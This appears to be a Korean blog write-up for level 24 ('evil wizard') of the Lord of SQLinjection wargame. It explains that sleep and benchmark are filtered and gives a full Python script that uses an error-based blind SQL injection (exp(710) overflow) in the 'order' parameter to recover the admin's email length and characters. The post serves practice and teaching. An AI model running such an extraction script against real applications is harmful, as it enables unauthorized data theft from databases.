Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- Lord of sqlinjection
- 쿠키
- 보안
- 스프링
- lord of sqlinjectin
- 스프링 특징
- injection
- lord of sqlinjection`
- 자바 문법
- 웹 개발
- 웹
- XSS
- 자바 Array list
- 세션
- 소켓
- 스프링구조
- php
- 세션쿠키
- APM
- 서버
- 자바 is-a
- 클라이언트
- Los
- 해킹
- 자바 has-a
- sqlinjection
- 마이크로서비스 아키택트
- 자바
- sql
- 스프링 종류
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 24번 ) evil wizard 본문
24번 문제이다.
hell fire랑 다르다고 하는 이유는 아마,,
이전에 time based 를 이용해 인젝션을 시도했을 때 다르게 해보라고 하는 말 같다
왜냐면 sleep, 이랑 benchmark 함수가 필터링 되어있기 때문이다.
*BENCHMARK() 함수는 SLEEP() 함수와 같이 디버깅이나 간단한 함수 성능 테스트 용으로 유용하다. 2개의 인자를 필요로 하며, 첫 번째 인자는 반복 수행할 횟수이며, 두번 째인자는 실행할 표현식을 입력한다. 두 번째 인자의 표현식은 반드시 스칼라 값을 반환하는 표현식이어야 한다.
import requests
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookie = dict(PHPSESSID="qj5t6mkn1p3jirjor275qick7f")
def pw_length():
print("**** Finding email length ****")
for i in range(1, 31): # Length of email typically won't be 0
param = f"?order=(select exp(710) where {i}=(select length(email) where id='admin'))%23"
new_url = url + param
res = requests.get(new_url, cookies=cookie)
if "rubiya805" not in res.text and res.text != "":
print("Found email length: " + str(i))
return i
else:
print("Length check failed for: " + str(i))
return None # Return None if length not found within range
def pw_get(length):
if length is None:
print("Could not determine email length.")
return None
print("**** Finding email content ****")
email = ""
for i in range(1, length + 1):
print(f"Checking character position {i}")
for j in range(32, 127): # Printable ASCII characters range
param = f"?order=(select exp(710) where {j}=(select ascii(substr(email,{i},1)) where id='admin'))%23"
new_url = url + param
res = requests.get(new_url, cookies=cookie)
if "rubiya805" not in res.text and res.text != "":
print(f"Character at position {i} -> {chr(j)}")
email += chr(j)
break
return email
length = pw_length()
email = pw_get(length)
if email:
print("Here's the email: " + email)
else:
print("Failed to retrieve email.")
**key point
order 필터링 _ > &으로 파라미터 연결
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 26번 ) red dragon (0) | 2024.08.02 |
---|---|
Lord of SQLinjection ( 25번 ) green dragon (1) | 2024.07.17 |
Lord of SQLinjection ( 23번 ) hell fire (0) | 2024.07.07 |
Lord of SQLinjection ( 22번 ) dark eyes (0) | 2024.07.06 |
Lord of SQLinjection ( 21번 ) iron golem (1) | 2024.07.05 |
Comments